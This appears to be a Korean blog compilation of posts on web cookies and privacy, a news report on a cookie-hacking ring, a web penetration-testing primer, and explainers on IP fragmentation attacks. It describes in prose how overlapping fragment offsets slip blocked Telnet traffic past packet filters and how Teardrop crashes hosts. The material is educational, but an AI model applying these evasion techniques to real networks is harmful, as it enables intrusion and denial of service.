쿠키라고 하니 여러분이 평소에 즐겨먹는 과자를 생각하실 수 있겠지만(실은 필자도 처음 쿠키라는 용어를 들었을 때 제일 먼저 과자가 떠오르더군요^^) 컴퓨터에서 얘기하는 쿠키는 사용자가 웹사이트를 방문하면서 입력했거나 열람한 정보를 사용자의 컴퓨터에 텍스트 형태로 저장해 둔 파일을 말합니다.

어릴적 읽었던 동화에서 헨젤과 그레텔이 지나온 길을 표시하기 위해 과자를 떨어뜨리며 표시했다는 내용이 나오는데 오늘 살펴보는 쿠키는 바로 여기서 유래된 단어입니다.

예를 들어 특정 웹사이트에 접속해서 사용자가 ID와 비밀번호를 입력해 두고, 그 웹사이트에서 쿠키를 이용하도록 설정되어 있다면 다음에 그 컴퓨터를 이용해 웹사이트에 접속할 경우 ID와 비밀번호를 입력하지 않아도 자동으로 로그인됩니다.

또 쿠키가 가장 흔하게 이용되는 것은 인터넷의 배너 광고인데, 해당 사이트에서는 사용자가 접속했을 때 어떤 광고를 보여주었는지를 쿠키로 저장해 두었다가 다음에 접속했을 때 다른 광고가 띄워지도록 이용할 수 있는 것이죠. 회원제로 운영되는 인터넷 사이트에서는 한 번 로그인하면 그 사이트의 여러 곳을 이용할 수 있는 것도 역시 쿠키 덕분입니다.

이렇듯 쿠키에는 사용자가 웹사이트를 이용한 내역이나 웹사이트에서 입력한 정보들이 고스란히 저장되어 있습니다. 사용자의 편의를 위해 만들어진 쿠키지만 요즘은 사생활 침해라는 문제를 일으키고 있습니다. 쿠키에는 이 사람이 인터넷에서 어떤 내용을 봤는지, 어떤 상품을 샀는지 등 모든 정보가 기록되기 때문이죠.

일부 인터넷 업체에서는 수집한 쿠키를 다른 업체와 교환하기도 하며 PC방등에서는 쿠키 파일들을 찾아다니는 사람들도 있습니다. 쿠키를 통해 ID와 비밀번호, 등의 개인 정보를 알아낼 수 있기 때문이죠.

PC방과 같이 여러 사람이 쓰는 컴퓨터를 이용한 후에는 쿠키를 지우는 것도 좋은 방법이 되겠습니다. 윈도 98의 경우 C:/windows/cookies/ 디렉토리에, 윈도 2000의 경우 /Documents and Settings/사용자이름/cookies/ 디렉토리에 저장되며 넷스케잎의 경우 넷스케잎의 하위 디렉토리에 텍스트 형태의 쿠키가 저장됩니다.

------------------------------------------------------------------------------------------


쿠키는 웹사이트가 사용자의 하드디스크에 집어넣는 특별한 텍스트 파일로, 이것은 후에 그 사용자에 관하여 무엇인가를 기억할 수 있도록 하기 위한 것이다. 일반적으로, 쿠키는 특정한 사이트에 대한 그 사용자의 취향을 기록한다. 웹의 프로토콜인 HTTP를 사용하면, 웹 페이지에 대한 각각의 요구는 다른 요구들과 상관 관계없이 모두 독립적이다.


그렇기 때문에 웹 서버는 그 사용자에게 이전에 어떠한 페이지가 보내어졌는지에 관한 아무런 기록도 가지고 있지 않으며, 심지어 그 사용자가 이전에 방문했었는지조차 알기 어렵다. 쿠키는 웹서버에게 사용자에 관한 파일을 사용자 컴퓨터에 저장하도록 허용하는 장치이다.


쿠키 파일은 대개 자신이 사용하는 브라우저 디렉토리의 하부에 저장된다 (예를 들어, 넷스케이프 디렉토리의 서브 디렉토리 등). 쿠키 디렉토리에는 사용자가 방문했던 각 웹사이트에 대한 쿠키 파일들이 모두 저장되어 있다.


쿠키는 일반적으로 배너광고를 회전시키기 위해 사용되기도 하지만, 사용자가 쓰고 있는 브라우저의 형식 또는 그 웹사이트에 이미 제공했던 다른 정보에 기초를 두어 서버에서 보낼 웹 페이지들을 사용자에게 맞추는 데에도 사용된다. 물론, 웹 사용자들은 쿠키가 자신의 컴퓨터에 저장되는 것에 동의해야만 하는데, 대개는 이러한 것들을 통해 웹사이트가 사용자들을 좀더 잘 지원하는데 도움을 준다.

-----------------------------------------------------------------------------


쿠키란 웹사이트가 사용자의 하드디스크(hard disk)에 전송하는 특별한 텍스트 파일(text file)로 쿠키 부스러기처럼 작다(4kb 이하)는 의미에서 붙여진 용어입니다. 쿠키 파일은 대개 개인이 사용하는 브라우저(browser)의 디렉토리(directory) 하위에 저장되며 쿠키 디렉토리에는 방문했던 각 웹사이트에 대한 쿠키 파일들이 모두 저장되어 있습니다.


쿠키는 웹서버(web server)에게 사용자에 관한 파일을 사용자 컴퓨터에 저장하도록 허용함으로써 배너(banner)광고를 회전시키는데 이용되거나 웹사이트 방문 시 개인을 식별하는 수단으로 이용됩니다.

웹사이트는 쿠키를 통해 방문자의 단순한 컴퓨터 환경에서 비롯하여 페이지 이동경로,방문횟수,머무른 시간 등과 ID, 이름, 비밀번호, 주민등록번호 등에 이르는 방대하고 사적인 정보들을 수집할 수 있습니다.

쿠키는 사용자에 관하여 무엇인가를 기억할 수 있도록 하기 위해 만들이진 파일입니다. 즉, 일일이 아이디를 입력하는 번거로움을 덜게하고 개별 맞춤 서비스를 제공하는 등 웹사이트와 방문자 간의 원활한 의사소통에 이용됩니다. 그러나 수집 범위를 사전에 밝히지 않은 채 무단으로 사용자의 하드디스크에 쿠키를 전송하고 이를 통해 민감 한 정보까지 노출하고 있어 문제가 되고 있습니다.

CYCOS는 쿠키를 전송하지 않는 것을 원칙으로 운영하고 있습니다. CYCOS에 머무시는 동안 쿠키가 귀하의 컴퓨터에 생성되었다면 게시판에 글을 작성하신 경우입니다. 이는 다음번 작성 시 이름 등의 정보를 일일이 작성하는 번거로움을 덜어드리기 위해 CYCOS가 이용하고 있는 게시판 서버에서 발송하는 것입니다.

방문자는 쿠키에 대해 선택권을 가지고 있습니다. 귀하의 웹브라우저 상단의 도구 > 인터넷 옵션(intetnet option) 탭(tab)에서 모든 쿠키의 허용, 동의를 통한 쿠키의 허용, 모든 쿠키의 차단을 스스로 결정하실 수 있습니다.


웹사이트에 접속할 때 자동적으로 만들어지는 임시 파일인 쿠키(Cookie)를 해킹해 사이트 접속자의 개인 정보를 빼내 불법적으로 활용해온 일당이 경찰에 적발됐다. 쿠키파일을 해킹하는 것은 네티즌 사이에 공공연한 비밀이지만 사법당국에 적발되기는 처음이다. 아이디, 패스워드, 로그인 시간, 해당 IP 등 사용자 정보가 담겨 있는 쿠키는 과거에 방문한 웹사이트를 다시 찾을 때 별도의 절차 없이 빠르게 접속할 수 있는 역할을 하기 때문에 해커들의 주요 공격대상이다.

서울경찰청 사이버범죄수사대는 11일 유료 화상채팅 사이트인 ㅇ사이트를 쿠키파일을 통해 해킹, 운영자 권한을 획득한 뒤 1억여원의 사이버머니를 조작·생성해 사용하고 동료회원들에게 배포한 소오강호·인엑스존 등 4개 채팅방 운영자를 포함, 25명을 정보보호법률 위반 혐의로 조사 중이다.

경찰은 "이들의 해킹으로 지난 11월 한달간 한 화상채팅 사이트에서만 2만3천여명의 개인정보가 이들 손에 넘어갔다"며 "이들이 해킹해 얻은 정보로 남의 이름으로 게임 등 유료 사이트에 접속해 사이버머니를 사용하는 등 피해를 입혔다"고 말했다. 특정 유료 서비스를 이용하지도 않았는데 이용료가 청구되는 불특정 다수의 피해자가 생겨난 것이다. 적발된 사람 중 일부 고교생은 조작·생성해 얻은 사이버머니를 현금화해 20만원짜리 신발을 사는 등 용돈으로 쓴 경우도 적발됐다.

경찰에 따르면 문제의 프로그램은 공격대상의 사이트 운영자에게 쪽지를 보내 운영자가 쪽지를 읽는 순간 해킹프로그램이 자동적으로 깔리도록 하는 방식이다.

암호화된 쿠키 값을 해독하기 위해 '인포패스'란 암호해독기뿐 아니라 웹사이트의 사용자 인증기능을 무력화시키는 '고터넷'이란 프로그램도 개발했다. 고터넷은 입력한 주민번호가 제대로 된 것인지 확인·인증하는 사이트로 가지 못하도록 차단한 뒤 무조건 유효하다는 의미의 '통과' 신호를 보내는 방식이다. 이를 이용하면 특정 사이트에 회원으로 가입할 때 '111' 등 무의미한 숫자를 주민등록번호라고 허위 입력해도 고터넷이 인증절차를 차단, '통과' 신호를 보내주기 때문에 회원으로 가입할 수 있는 것이다.

해커들은 이처럼 다양한 해킹 툴을 가지고 유료 사이트를 돌아다니며 필요한 프로그램을 내려받는 등 콘텐츠를 무료로 이용하면서 자신들의 채팅방 사이트 회원들에게도 해당 정보를 나눠준 것으로 드러났다. 이들에게 해킹당한 피해 사이트로는 인터넷 보안업체를 포함해 웹하드업체, 유명 게임사이트, 모 방송국, 통신업체, 영화사이트, 음악사이트, 관공서 홈페이지 등 70여곳에 이르는 것으로 경찰은 파악했다. 경찰은 이번주 부터 이들 피해사이트 운영자를 불러 피해 상황을 조사할 계획이다.


출처: 경향신문

---------------------------------------------------------------------------


쿠키파일, 지워야 하나요?

쿠키는 사용자가 특정 홈페이지를 접속할 때 생성되는 정보를 담아두는 임시 파일, 4KB 이하의 작은 크기입니다. 본래 이 쿠키는 인터넷 사용자들의 홈페이지 접속을 돕기 위해 만들어졌습니다. 어떤 사이트를 처음 방문하면 아이디와 비밀번호를 쿠키에 기록했다가 추후 접속했을 때 별도의 절차 없이 사이트에 빠르게 연결할 수 있도록 하기 위한 것입니다. , 쿠키는 서버(사이트 운영자)가 클라이언트(사용자)측에 개인 정보를 저장해 두었다가 추후 그 정보를 뽑아내기 위해 만들어진 파일입니다.

 

▶ 왜 쿠키파일이 문제가 되나요?
사용자가 특정 웹사이트에 접속하게 되면 대부분의 경우 모르는 사이에 쿠키파일을 받게 됩니다. 그 홈페이지의 서버는 해당 홈페이지에서의 사용자가 접속한 후의 모든 활동을 쿠키파일을 통해 읽어 들일 수 있게 됩니다. 예를 들면 쇼핑몰 홈페이지에서 쿠키파일을 통해 어떤 상품에 관심을 보이고, 어떤 광고를 클릭하고, 어느 상품을 실제로 구매하는지를 알 수 있게 됩니다. 대부분의 인터넷 사용자들은 이러한 사실을 인지하지 못하고 있어 개인 정보 보호라는 관점에서 논란의 여지가 많습니다. 물론 회원제로 운영되는 사이트의 경우, 회원가입 전에 약관을 통해서 사용자 동의를 받지만 약관을 읽어보고 동의하는 사용자는 매우 드문 것이 사실입니다.  

쿠키파일은 해롭기만 한가요?
그렇지만은 않습니다. 본래 쿠키는 인터넷 사용자들의 홈페이지 접속을 돕기 위해 만들어졌습니다. 그렇기 때문에 쿠키파일의 본질은 인터넷 사용을 편리하게 해주는 것입니다. 쿠키파일은 회원제로 운영되는 홈페이지에 방문해서 로그인할 때, 두 번째 방문부터는 ID 입력 과정을 생략하게 해줍니다. 또한, 웹 페이지에서 개인에게 맞춤정보를 제공할 때에도 쿠키파일은 아주 유용하게 쓰입니다. 만약 웹 브라우저의 옵션에서 쿠키를 받지 않게 설정할 경우, 웹 메일 접속 시 로그인 자체가 되지 않습니다. 또한 웹 메일 사용 도중 옵션을 지정하고 다른 화면으로 전환하게 되면 자동으로 로그오프가 되기도 합니다
.

쿠키파일을 어떻게 다룰 것인가?
쿠키파일은 장단점을 모두 가지고 있는 파일입니다. 사용자에게 유용하지만, 사용자가 인식하지 못하는 사이에 개인 정보를 빼가기도 합니다. 웹 브라우저의 옵션에서 '쿠키를 허용하기 전에 경고'로 설정할 수도 있으나, 이 경우 웹 브라우저에서 다른 페이지로 넘어갈 때마다 쿠키를 받겠냐는 질문 때문에 매우 귀찮아질 수도 있습니다. 각종 포털 사이트의 자료실에 있는 프로그램을 이용해서 주기적으로 쿠키파일을 삭제하는 것도 생각해 볼 수 있습니다
.

 

쿠키 수동 삭제방법
쿠키를 삭제하는 방법은, 인터넷 익스플로러의 상단메뉴에서 도구>인터넷 옵션>일반>임시 인터넷 파일-쿠키삭제를 선택하시면 됩니다.


And

[웹 모의해킹법 1-4]

|

웹 모의해킹법 (1/4)

강유(yulguang@hotmail.com)
최종 갱신일 : 2003년 11월 29일


웹 모의해킹

모의해킹이란 시스템 또는 응용 프로그램에 대한 가상의 공격을 하는 행위를 의미한다. 모의해킹을 하는 이유는 해커가 시스템에 침입하기 전에 먼저 문제점을 찾아내 그것에 대한 조치를 취하기 위해서다.

모의해킹은 크게 호스트 전체에 대한 모의해킹과 특정 서비스에 대한 모의 해킹으로 나눌 수 있다. 호스트 모의 해킹은 호스트 시스템의 파일 구조, 응용 프로그램, 네트워크 연결등 모든 분야에 대한 해킹을 시도하는 것이고 특정 서비스 모의 해킹은 HTTP, FTP등의 특정 프로토콜에 대한 전문적인 모의 해킹을 시도하는 것을 의미한다. 이 글의 주제인 웹 모의해킹이 특정 서비스 모의 해킹에 속한다.

웹 모의해킹은 HTTP 프로토콜을 이용한 웹 서비스에 대한 모의 침투 테스트를 수행하는 것을 의미한다.

웹 모의해킹 대상

어떤 호스트에 대한 웹 모의해킹을 하기로 결정했다고 하자. 그러면 정확히 무엇을 모의해킹해야 할까? 가장 기본적으로 웹 모의해킹에서는 웹 서비스(HTTP)에 대한 공격을 시도한다. 웹 서비스를 제공하는 것이 웹 서버이기 때문에 웹 모의해킹의 주된 공격 대상은 웹 서버다.

하지만 웹 서버는 한 종류만 있는 것이 아니라 매우 다양한 종류가 존재한다. 가장 많이 쓰이는 Apache 웹 서버 외에도 Microsoft의 IIS, WebLogic 등 다양한 웹 서버가 있다. 그리고 웹 서버에서 쓰이는 기술도 PHP, ASP, JSP, Servlet 등 매우 다양하게 존재한다. 웹 모의 해킹을 할 때는 자신이 공격해야 할 대상에 대해 가능한 많은 정보를 파악하는 것이 좋다. 이 때 단순히 웹 서버에 대한 정보뿐만 아니라 웹 서버가 동작하는 호스트에 대한 정보나 취약점을 파악하는 것도 큰 도움이 된다.

주의 : 이 글을 읽고 아무 웹 서버에나 모의 해킹을 하려고 시도하는 사람이 없기를 바란다(물론 그럴 리는 없겠지만). 웹 모의해킹을 할 때는 자신의 행위가 법에 저촉될 위험이 없는지 확인해야 한다. 간단히 말하면 자신이 관리하고 있지 않은 어떤 서버에 대한 모의해킹도 불법이다. 그리고 자신이 관리하고 있는 서버라도 상급자의 허락을 받아야 할 경우가 있으니 주의해야 한다. 만약 상급자의 허락을 받아야 한다면 문서화된 형태로 근거를 남겨두는 것이 좋다.

웹 공격 종류

웹 서버에 대한 공격은 매우 다양한 형태로 존재한다. 웹 모의해킹을 하기 위해서는 이러한 공격 패턴을 알고 실제로 적용할 수 있어야 한다. 웹 공격은 크게 5가지 종류로 나눌 수 있다.

  1. 기존에 알려진 웹 서버 취약점

    각 웹 서버의 버전마다 약점이 존재한다. 웹 모의해킹에서는 이러한 웹 서버의 취약점 정보를 이용하여 버그가 존재하는지를 검사한다.

  2. 쿠키 조작

    쿠키는 웹 서버가 클라이언트에 남겨 놓은 정보다. 웹 서버는 쿠키를 이용해서 인증, 정보 저장등의 작업을 수행한다. 그러나 쿠키는 클라이언트가 마음대로 조작하는 것이 가능하기 때문에 웹 모의해킹에서는 이러한 쿠키를 조작해서 서버에 어떤 일이 일어나는지를 검사해야 한다.

  3. 입력값 조작

    웹 서버와 웹 클라이언트는 다양한 방법으로 데이터를 주고 받는다. 위에서 소개한 쿠키도 그 중의 한 방법이다. 사용자가 입력한 데이터가 서버로 전달되는 가장 일반적인 방법은 <INPUT> 태그를 통해서다. 웹 페이지에 사용자가 입력할 수 있는 텍스트 박스가 있다면 그 곳에 <INPUT> 태그가 있는 것이다. 이 <INPUT> 태그에 넣는 값을 웹 서버에서 제대로 필터링하지 않는다면 공격자는 많은 일을 할 수 있다.

  4. XSS(Cross Site Scripting)

    Cross Site Scripting(이하 XSS) 도 결국 사용자의 입력을 검사하지 않아서 생기는 문제다. 그러나 '입력값 조작' 공격이 웹 서버를 대상으로 한다면 XSS는 클라이언트를 대상으로 한다. 공격자는 XSS 공격을 통해 다른 사용자에게 가짜 로그인 페이지등을 제시하여 사용자의 인증 정보를 얻어내는 것을 목표로 한다.

  5. 파일 접근

    웹 서버에는 많은 웹 페이지가 있다. 일부 웹 서버는 디렉터리 접근 권한을 제대로 설정해 놓지 않아 디렉터리 목록을 공격자에게 그대로 노출시키곤 한다. 그리고 웹 페이지를 개발하는 중에 생긴 임시 페이지를 지우지 않아서 공격자에게 중요 정보를 노출시키기도 한다.

출처 :

 


 

웹 모의해킹법 (2/4)

강유(yulguang@hotmail.com)
최종 갱신일 : 2003년 12월 21일


전체 과정
1부에서는 웹 공격의 종류에 대해 알아봤다. 그러면 실무자의 입장에서 웹 모의해킹의 전체 과정에 대해 알아보자. 웹 모의해킹은 크게 4단계로 수행한다.

  1. 정보 수집
  2. 범용 툴을 사용한 점검
  3. 웹 전용 툴을 사용한 점검
  4. 수동 점검


각 단계별로 시도해 볼 공격은 조금씩 다르다. 물론 이 공격들이 위에서 살펴본 웹 공격 종류에 속하는 것은 당연한 말이다. 각 단계별로 주로 수행하는 공격 방법이 <그림 2.1>에 나와 있다.


그러면 각 단계별로 할 일에 대해 알아보자.

  1. 정보 수집

    정보 수집이란 공격 대상 웹 서버와 웹 애플리케이션에 대한 가능한 많은 정보를 얻어내는 과정을 의미한다. 이 단계에서 얻어낸 정보가 바로 공격으로 이어지지는 않지만 나중에 수행할 공격에 중요하게 쓰일 수 있다. 이 단계에서 얻어내는 정보에는 서버의 OS, 서버 OS의 버전, 웹 서버 포트, 웹 서버 종류 및 버전, 웹 서버 애플리케이션 종류 및 버전 등이 있다. 이 단계에서는 수동 점검과 자동 툴 점검을 병행하는데 자동 툴로는 nmap과 같은 포트스캐너가 주로 쓰인다.

  2. 범용 툴 점검

    범용 툴 점검이란 ISS, Nessus와 같은 범용 취약점 스캐너를 이용해 웹 서버를 점검하는 것이다. 범용 취약점 스캐너는 웹 전용 스캐너에 비해 웹 취약점 검색 기능이 떨어지기는 하지만 전반적인 시스템의 보안을 진단해 주고 일부 기존에 알려진 취약점을 점검해 준다는 측면에서 꼭 필요한 점검이라 할 수 있다.

  3. 전용 툴 점검

    전용 툴 점검은 특수한 웹 전용 툴을 사용해 웹 서버의 취약점을 확인하는 방법이다. 이 단계에서 쓰이는 툴로는 Nikto, Whisker, Kavado 등이 있다.

  4. 수동 점검

    수동 점검은 자동 툴로는 하지 못하는 미묘한 공격을 직접 사용자가 수행하는 과정을 의미한다. 예를 들어 웹 페이지의 미묘한 입력 값 조작을 자동화된 툴로 하는 것은 상당히 어렵다. 바로 이 단계에서 모의 해킹 수행자의 노하우와 지식이 많이 반영된다. 수동 점검이라고 해서 전혀 툴을 사용하지 않는 것은 아니다. 사용자가 수동으로 만든 데이터를 보내는데는 터미널 에뮬레이터(CRT 같은)가 필요하며 인자 조작에는 Achilles와 같은 툴이 유용하게 쓰인다. '수동 점검' 단계가 '전용 툴 점검' 단계와 다른 점은 전용 툴 점검 단계에서는 사용자가 아무런 입력을 하지 않고 단지 클릭 한번만 하면 모든 스캔이 끝나지만 '수동 점검' 단계에서는 사용자의 역할이 80%를 넘어간다는 데 있다.

참고 : 자동 툴을 쓸 경우 웹 모의해킹에 대한 지식이 아무 소용이 없는가?
자동 툴을 쓰면 빠른 시간 안에 모의해킹을 할 수 있기 때문에 생산성 면에서 장점이 있다. 그러나 자동 툴을 쓸 경우에도 웹 모의해킹에 대한 지식이 큰 도움이 된다. 자동 툴이 취약점이라고 발견하는 모든 내용이 실제 취약점은 아니다. 모의해킹 수행자는 자동 툴의 결과를 실제로 확인하고 검증할 수 있어야 한다. 자동 툴은 모의해킹 수행자의 작업을 수월하게 해 줄 수는 있지만 모의해킹 수행자를 완전히 대신할 수는 없다.


And

IP Fragmentation and Teardrop Attack

|

패킷 헤더

모든 IP패킷은 다음과 같은 정보를 포함하는 패킷에 관한 정보를 저장하는 IP 헤더를 가지고 있다.

  • Version
  • IHL(Internet Header Length)
  • Type of Service
  • Total Length
  • Identification
  • Flags
  • Fragment Offset
  • Time to Live
  • Protocol
  • Header Checksum
  • Source Address
  • Destination Address
  • Options
  • Padding

참조: RFC791 – Internet Protocol

다음 3가지는 패킷의 단편화에 관련된다.

  • Identification
  • Flags
  • Fragment Offset

Identification(16 비트)

사이즈가 데이터는 복수의 IP패킷으로 나누어 송신한다. 분할된 데이터인지, 아니면 별개의 데이터인지 식별하기 위해 사용된다.

Flags(3비트)

IP패킷의 분할을 제어할 사용된다.

Bit 0: 예약됨(미사용)
Bit 1: DF
값이 0이면 분할 가능. DF값이 1이면 분할 불가
Bit 2: MF
값이 0이면 마지막 Fragment, MF값이 1이면 다음 분할 패킷이 존재함.

Fragment Offset(13 비트)

분할된 패킷의 원래 데이터의 어느 부분에 위치하는지를 가리킨다. 단위는 8옥텟(64비트)으로, 최개 8 X8,192 = 65536옥텟.

IP 헤더와 마찬가지로 TCP(Transmission ControlProtocol) 헤더도 패킷에 관한 정보를 가지고 있다. 다음은 TCP 헤더에 대한 정보이다.

  • Source Port
  • Destination Port
  • Sequence Number
  • Acknowledgement Number
  • Data Offset
  • Flags
  • Window
  • Checksum
  • Urgent Pointer
  • Options
  • Padding

참고: RFC793 – Transmission Control Protocol

패킷 분할

디폴트 MTU(1,500) 사용하는 네트워크에서 2366바이트의 패킷을 송신하려면, 패킷을 2개로 나눠야 한다(분할).

번째 패킷:

  • 1,500바이트(IP헤더: 20바이트, TCP헤더: 24바이트, 데이터: 1,456바이트)
  • DF비트가 0(분할가능), MF비트가 1(추가 분할 패킷이 존재)
  • Fragmentation Offset 0

번째 패킷

  • 910바이트(IP헤더: 20바이트, TCP헤더: 24바이트, 데이터: 866바이트)
  • DF비트가 0(분할가능), MF비트가 0(마지막 분할 패킷)
  • Fragmentation Offset 182 (1456/8).

공격 패킷의 분할

분할 패킷은 방화벽의 블록킹 룰을 회피할 사용될 있다.

이것은 Fragment옵셋의 값을 변조함으로써 가능하다. 방법은 번째 패킷의 Fragment 옵셋을 매우 낮은 값으로 설정하여, 번째 패킷 다음에 번째 패킷을 추가하는 것이 아니라, 번째 패킷의 TCP헤더와 데이터 부분을 덮어 쓰는 것이다.

패킷 필터링 방화벽에 의해 TCP 23(TELNET) 포트는 블록, 25(SMTP) 오픈되어 있는 네트워크가 있다고 하자. 네트워크의 TELNET서비스에 접속하려면 다음과 같은 2개의 패킷을 송신한다.

번째 패킷:

  • Fragmentation Offset 0.
  • DF 비트가 0(분할가능), MF비트가 1(추가 분할 패킷이 존재)
  • TCP헤더의 목적지 포트가 25. 25번은 방화벽을 통과할 있으므로.

번째 패킷:

  • Fragmentation Offset 1. 이것은 번째 패킷이 번째 패킷의 처음 8비트만 남기고 전부 덮어쓰기한다.
  • DF비트가 0(분할가능), MF비트가 0(마지막 분할 패킷)
  • TCP헤더의 목적지 포트를 23번으로 설정. 이것은 블록되어야 하나 여기에서는 통과된다.

패킷 필터링 방화벽은 번째 패킷의 Fragment Offset 0보다 값인지 확인한다. 값이 0보다 크면 방화벽은 패킷이 다른 패킷의 Fragment라고 판단하여 그냥 통과시켜 버린다.

2개의 패킷이 목적지에 도착하면, 재조립된다. 번째 패킷이 번째 패킷의 내용을 거의다 덮어쓰기하므로, 조립되고 후의 패킷은 23 포트로 가게 된다.

Teardrop 공격

Fragment 이용한 DoS공격으로서 Teardrop 있다. Teardrop공격은 Fragmentation Offset 위조하여 Offset 중복하는 부정한 IP Fragment 패킷을 생성, 공격 대상에게 송신한다. 수신한 측에서는 재조립을 없으므로 시스템이 다운되는 등의 사태가 발생한다. 문제는 패치를 적용함으로서 해결할 있다.


And

IP Fragmentation을 이용한 공격기술들

|

1. 개요

IP Fragmentation은 이기종 네트워크 환경에서 IP 패킷의 효율적인 전송을 보장해주고 있지만, 몇가지 보안 문제점을 가지고 있다.

Ping of Death, teardrop 등의 공격은 비정상적인 fragment들을 재조합(reassemble)하는 과정에서 시스템이 정지되거나 재부팅될 수 있다. 하지만 최근 IP Fragmentation을 이용한 서비스거부공격 외에 이를 이용하여 패킷 필터링 장비나 네트워크 기반의 침입탐지시스템을 우회할 수 있는 문제점이 대두되고 있다. 일부 라우터나 침입차단시스템 그리고 네트워크 기반의 침입탐지시스템들은 패킷 재조합 기능을 제공하고 있지 않아 공격자가 공격 패킷을 다수의 데이터그램으로 쪼개서 공격할 경우 이를 탐지하거나 차단하지 못하는 경우가 있다. 본 고에서는 먼저 IP fragmentation의 기본적인 개념을 소개하도록 하고, 이러한 IP Fragmentation을 이용한 서비스거부공격과 침입탐지시스템의 탐지 rule을 우회하는 공격기술들에 대하여 알아보기로 한다.

2. IP Fragmentation의 이해

IP 프로토콜은 IP 패킷을 몇 개의 작은 패킷으로 나누어서 전송되고 목적지 시스템에서 재조합되는 것을 허용한다. 이 과정이 fragmentation이라고 불리며, 서로 다른 최대 패킷 사이즈의 제한을 가진 이기종의 전송매체에서도 IP 데이터그램을 전송가능하게 한다.

IP Fragmentation은 IP 데이터그램이 네트워크를 통해 전송될 때, 전송되는 IP 데이터그램의 크기가 해당 전송 매체에서 전송될 수 있는 최대 크기 즉, MTU(Maximum Transmission Unit)보다 클 경우 발생한다. 예를들어 Ethernet에서 전송가능한 IP 데이터그램의 최대 크기 즉 MTU는 1500바이트이다. 만약 데이터그램이 1500바이트보다 크고, Ethernet 네트워크를 통과해야한다면 그 데이터그램은 fragmentation이 필요하게 된다. 이처럼 fragmentation은 지극히 일반적이고 정상적인 이벤트이지만, 비정상적인 fragment를 발생시켜 서비스거부공격에 이용하기도 하고, fragmentation을 처리하지 않는 라우터나 침입탐지시스템을 피하기 위한 목적으로 고의로 fragmentation을 이용하기도 한다.

각 fragment들은 목적지에 도착하여 fragment되기 전의 상태로 재조합되기 위하여 다음의 정보들을 가지고 있다.

⼒ 각 fragment는 하나의 동일한 fragment 식별번호를 이용하여 재조합되는데, 이 식별번호는 IP 헤더의 16비트 필드로써 "IP identification number" 또는 "fragment ID"로 불린다.

⼒ 각 fragment는 원래 fragment되기 이전의 패킷에서의 위치 즉 "fragment offset"을 가진다.

⼒ 각 fragment는 그 fragment의 데이터 길이를 가진다. 여기서 IP 헤더 20byte는 데이터 길이에서 제외된다. 즉, Ethernet의 MTU인 1500바이트가 전송될 때 데이트길이는 1480(1500-20)바이트로 표시된다.

⼒ 마지막으로 각 fragment는 현재 fragment에 추가적인 fragment들이 있을 경우 ME(More Fragment) flag를 1로 설정된다.

IP Fragment의 원리를 이해하기 위하여 4,000바이트의 ICMP 데이터가 Ethernet 상에서 전송될 때 어떻게 framentation되는지 살펴보기로 하자.

우선 4000바이트의 ICMP 데이터를 송신하여 본다.(일반적인 ping 패킷은 56바이터의 ICMP 데이터를 전송하지만 -s 옵션을 이용하여 ICMP 데이터가 fragment되도록 충분히 크게한다.)

[root@linux80 /root]# ping -s 4000 172.16.2.34
PING 172.16.2.34 (172.16.2.34): 4000 data bytes
4008 bytes from 172.16.2.34: icmp_seq=0 ttl=254 time=20.7 ms
4008 bytes from 172.16.2.34: icmp_seq=1 ttl=254 time=20.1 ms
...

이때 tcpdump를 이용하여 패킷을 모니터링하면 다음과 같다.

20:55:56.548630 linux80.kisa.or.kr > insecure.kisa.or.kr: (frag 30338:1048@2960)
20:55:56.558095 linux80.kisa.or.kr > insecure.kisa.or.kr: (frag 30338:1480@1480+)
20:55:56.565466 linux80.kisa.or.kr > insecure.kisa.or.kr: icmp: echo request (frag 30338:1480@0+)

Ethernet 네트워크를 통하여 전송되기 전의 데이터그램은 20바이트의 IP헤더와 8바이트의 ICMP 헤더, 그리고 4000바이트이 ICMP 데이터를 가진 총 4028바이트의 데이터그램이다. 하지만 Ethernet을 통하여 전송되기 위해서는 Ethernet의 MTU 즉 1500바이트를 넘을 수 없으므로 1500바이트 또는 그보다 작은 fragment로 쪼개어져서 전송되게 된다. 다음 그림은 Ethernet을 통해 전송되는 3개의 fragment를 도식화한 것이다.

Top

tcpdump에 의해 모니터링된 결과와 위 그림의 도식화한 각 fragment의 내용을 같이 보면 fragment 이해에 도움이 될 것이다.

우선 첫 번째 fragment는 20바이트의 IP 헤더와 8바이트의 ICMP 헤더, 그리고 1472(=1500-20-8)바이트의 ICMP 데이터로 구성되어 있다.

IP 헤더에는 다음의 정보들을 가진다.

Protocol = ICMP
Fragment ID = 30338
More Fragments Flag = 1
Fragment Offset = 0
Data Length = 1480

아래의 tcpdump에 의해 모니터링된 첫 fragment의 내용에서 30338은 fragment ID, 1480은 Data Length, 0는 Fragment Offset, +는 MF flag가 1로 셋팅되어 있음을 보여준다.

Top

IP 헤더에 의해 캡슐화된 데이터는 TCP, UDP, 또는 ICMP와 같은 IP 프로토콜들이 될 수 있다. 여기서는 ICMP 패킷을 보내고 있으며, tcpdump에서 ICMP 헤더 정보를 통하여 이 패킷이 ICMP echo request라는 것을 출력하여 주고 있다.

두 번째 fragment는 20바이트의 IP 헤더와 1480바이트의 ICMP 데이터로 구성되어 있다. 모든 fragment에는 20바이트의 IP 헤더를 포함하는데, 두번째 fragment의 IP 헤더에는 다음의 정보들을 가지고 있다.

Protocol = ICMP
Fragment ID = 30338
More Fragments Flag = 1
Fragment Offset = 1480
Data Length = 1480

Fragment Offset은 1480을 가리키고 있으며, 첫 번째 fragment와는 달리 ICMP 헤더를 가지고 있지 않아 ICMP type 정보를 알 수 없다.

cpdump에서 첫 번째 패킷에서 나왔던 "ICMP echo request" 패킷이라는 것이 두 번째 fragment부터는 보이지 않는 것을 알 수 있다. TCP나 UDP 패킷인 경우 목적지 포트번호 정보도 가지지 않는다. 이처럼 오직 첫 번째 fragment에만 TCP, UDP, 또는 ICMP 헤더가 포함되어 있어 패킷 필터링 장치에서 첫 번째 fragment만 차단되는 경우가 많다. 따라서 fragment ID를 이용하여 각 세션의 stat를 유지하여야 하는 부담이 있다. 좀더 지능적인 패킷 필터링 장치인 경우는 차단된 첫 번째 fragment의 ID를 가진 모든 fragment들을 차단할 필요가 있다.

마지막 fragment는 역시 20바이트의 IP 헤더와 나머지 ICMP 데이터 즉 1048바이트의 ICMP 데이터로 구성되어 있다. IP 헤더에는 다음의 정보를 가지고 있다.

Protocol = ICMP

Fragment ID = 30338

More Fragments Flag = 0

Fragment Offset = 2960

Data Length = 1048

